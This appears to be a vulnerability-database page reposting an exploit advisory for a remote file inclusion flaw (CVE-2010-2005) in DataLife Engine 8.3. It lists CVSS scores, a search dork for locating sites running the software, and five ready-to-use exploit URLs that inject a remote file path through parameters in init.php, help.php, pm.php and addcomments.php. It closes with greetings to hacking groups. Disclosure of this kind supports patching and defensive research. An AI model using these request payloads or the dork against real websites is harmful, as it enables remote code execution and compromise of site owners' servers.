DataLife Engine 8.3 RFI Vulnerability

2010.05.26

Credit: indoushka

Risk: High

Local: No

Remote: Yes

CVE: CVE-2010-2005

CWE: CWE-94

CVSS Base Score: 7.5/10

Impact Subscore: 6.4/10

Exploitability Subscore: 10/10

Exploit range: Remote

Attack complexity: Low

Authentication: No required

Confidentiality impact: Partial

Integrity impact: Partial

Availability impact: Partial

========================================================================================
| # Title : DataLife Engine 8.3 RFI Vulnerability
| # Author : indoushka
| # email : indoushka@hotmail.com
| # Home : www.iq-ty.com/vb
| # Script Home : http://villehost.net/files/DataLife%20Engine%208.3%20Full%20English%20UTF-8%20Encoded%20-%20www.cms-pedia.com.rar (pass=www.cms-pedia.com)
| # Dork : Powered by CMS Pedia &#169; 2009 (DataLife Engine Support &#169; 2009. CMS Pedia)
| # Tested on : windows SP2 Franais V.(Pnx2 2.0) + Lunix Franais v.(9.4 Ubuntu)
| # Bug : RFI
====================== Exploit By indoushka =================================
# Exploit :
1- RFI
http://localhost/upload/engine/inc/include/init.php?selected_language=http://localhost/c.txt?
http://localhost/upload/engine/inc/help.php?config[langs]=http://localhost/c.txt?
http://localhost/upload/engine/ajax/pm.php?config[lang_=[EV!L]
http://localhost/upload/engine/ajax/addcomments.php?_REQUEST[skin]]=http://localhost/c.txt?
http://localhost/upload/engine/ajax/addcomments.php?_REQUEST[skin]]=http://localhost/c.txt?
================================ Dz-Ghost Team ========================================================
Greetz : &#209; &#230; &#207; &#200;&#200; 22 + &#227;&#209; + &#202;&#209;&#202; + &#204; + &#227;
+ &#202;&#227; + &#207;&#209;&#230;&#227; + &#227;&#219; + &#230;&#204;&#207; + &#195;&#219;&#207;&#209; + &#230;&#227; + &#230;&#229;&#209;
Exploit-db Team (loneferret+Exploits+dookie2000ca)
all my friend * Dos-Dz * Snakespc * His0k4 * Hussin-X * Str0ke * Saoucha * Star08 * www.hackteach.org
Rafik (Tinjah.com) * Yashar (sc0rpion.ir) * Silitoad * redda * mourad (dgsn.dz) * www.cyber-mirror.org
www.forums.ibb7.com * www.owned-m.com *Stake (v4-team.com) * www.dev-chat.com * Cyb3r IntRue (avengers team)
* www.securityreason.com * www.packetstormsecurity.org * www.best-sec.net * www.zone-h.net * www.m-y.cc
* www.hacker.ps * no-exploit.com * www.bug-blog.de * www.bawassil.com * www.host4ll.com * www.xp10.me
www.forums.soqor.net * www.alkrsan.net * blackc0der (www.forum.aria-security.com) * www.kadmiwe.net
SoldierOfAllah (www.m4r0c-s3curity.cc) * www.arhack.net * www.google.com * www.sec-eviles.com
www.mriraq.com * www.dzh4cker.l9l.org * www.goyelang.cn * www.arabic-m.com * www.securitywall.org
r1z (www.sec-r1z.com) * www.zac003.persiangig.ir * www.0xblackhat.ir * www.mormoroth.net
------------------------------------------------------------------------------------------------------------

References:

http://xforce.iss.net/xforce/xfdb/55757

http://www.securityfocus.com/bid/37851

http://www.packetstormsecurity.com/1001-exploits/datalifeengine83-rfi.txt

See this note in RAW Version

Vote for this issue:

50%

Thanks for you vote!

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.

Nick (*)

Email (*)

Video

Text (*)

(*) - required fields.

{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1

{{ x.comment }}

DataLife Engine 8.3 RFI Vulnerability

References:

Thanks for you vote!

Thanks for you comment!Your message is in quarantine 48 hours.

Thanks for you comment!
Your message is in quarantine 48 hours.